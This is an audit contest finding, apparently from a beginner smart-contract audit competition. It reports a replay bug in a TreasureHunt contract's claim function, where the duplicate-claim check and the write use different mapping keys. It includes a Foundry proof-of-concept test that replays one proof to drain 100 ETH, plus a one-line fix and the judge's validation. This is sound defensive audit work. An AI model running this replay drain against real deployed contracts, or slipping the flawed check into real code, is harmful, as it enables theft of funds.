SNARKeling Treasure Hunt
First Flight #59
Beginner FriendlyGameFiFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

[H-1] Wrong mapping key in `TreasureHunt::claim` permanently disables replay protection, allowing a single proof to drain all 100 ETH

web3pavlou

Wrong mapping key in TreasureHunt::claim permanently disables replay protection, allowing a single proof to drain all 100 ETH

Description

  • A recipient is supposed to be able to claim one treasure reward, after submitting a zero-knowledge proof showing they know the correct treasure secret in TreasureHunt::claim.

  • The duplicate-claim check in TreasureHunt::claim() reads from claimed[_treasureHash], where _treasureHash is a private immutable set at construction. However, _markClaimed writes to claimed[treasureHash], where treasureHash is the calldata argument passed by the caller. Because the check and the write operate on different keys, claimed[_treasureHash] starts false and is never set to true. The replay protection is permanently disabled.

function claim(bytes calldata proof, bytes32 treasureHash, address payable recipient) external nonReentrant {
if (paused) revert ContractPaused();
if (address(this).balance < REWARD) revert NotEnoughFunds();
if (recipient == address(0) || recipient == address(this) || recipient == owner || recipient == msg.sender) {
revert InvalidRecipient();
}
if (claimsCount >= MAX_TREASURES) revert AllTreasuresClaimed();
@> if (claimed[_treasureHash]) revert AlreadyClaimed(treasureHash); // @> reads from immutable _treasureHash, never written to
if (msg.sender == owner) revert OwnerCannotClaim();
.
.
.
function _markClaimed(bytes32 treasureHash) internal {
claimed[treasureHash] = true; // @> writes to calldata treasureHash, different key
}

Risk

Likelihood:

  • claimed[_treasureHash] checks the immutable _treasureHash key which is never written to by _markClaimed, then writes to claimed[treasureHash] (the calldata arg), meaning the duplicate guard never triggers on every single call.

  • A fresh caller replaying the same valid proof MAX_TREASURES times will always succeed, as the replay protection is permanently disabled from the moment of deployment.

Impact:

  • A single valid (proof, treasureHash, recipient) tuple can be replayed MAX_TREASURES times in sequence, draining the full 100 ETH from the contract.

  • The claimsCount counter does bound the damage to 10 calls, but within those 10 slots anyone's proof can sweep every reward from the contract.

Proof of Concept

function test_singleProofDrainsAllFunds() public {
(bytes memory proof, bytes32 treasureHash, address payable recipient) = _loadFixture();
​
uint256 contractBalanceBefore = address(hunt).balance;
uint256 recipientBalanceBefore = recipient.balance;
​
console.log("contract balance before:", contractBalanceBefore); // 100 ETH
console.log("recipient balance before:", recipientBalanceBefore); // 0
​
address caller = makeAddr("caller");
vm.startPrank(caller);
for (uint256 i = 0; i < hunt.MAX_TREASURES(); i++) {
hunt.claim(proof, treasureHash, recipient);
}
vm.stopPrank();
​
uint256 contractBalanceAfter = address(hunt).balance;
uint256 recipientBalanceAfter = recipient.balance;
​
console.log("contract balance after:", contractBalanceAfter); // 0
console.log("recipient balance after:", recipientBalanceAfter); // 100 ETH
​
assertEq(contractBalanceAfter, 0, "contract fully drained");
assertEq(
recipientBalanceAfter,
recipientBalanceBefore + INITIAL_FUNDING,
"recipient swept all 100 ETH with one proof"
);
}

Recommended Mitigation

-if (claimed[_treasureHash]) revert AlreadyClaimed(treasureHash);
​
+if (claimed[treasureHash]) revert AlreadyClaimed(treasureHash);
Updates

Lead Judging Commences

s3mvl4d Lead Judge 18 days ago
Submission Judgement Published
Validated
Assigned finding tags:

broken double-claim protection

In `claim()`, the guard uses `claimed[_treasureHash]`, where `_treasureHash` is an immutable state variable that is never initialized to the caller-supplied treasure identifier, while the contract later marks `claimed[treasureHash] = true` using the function argument instead. As a result, the duplicate-claim check and the state update are performed against different keys, which means a previously claimed treasure is not actually blocked from being claimed again with the same valid proof and `treasureHash`. This breaks a core invariant of the protocol described in the README, namely, that each treasure can only be redeemed once, and allows one valid treasure/proof pair to be reused to drain rewards repeatedly until either the `MAX_TREASURES` cap or the contract balance is exhausted.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!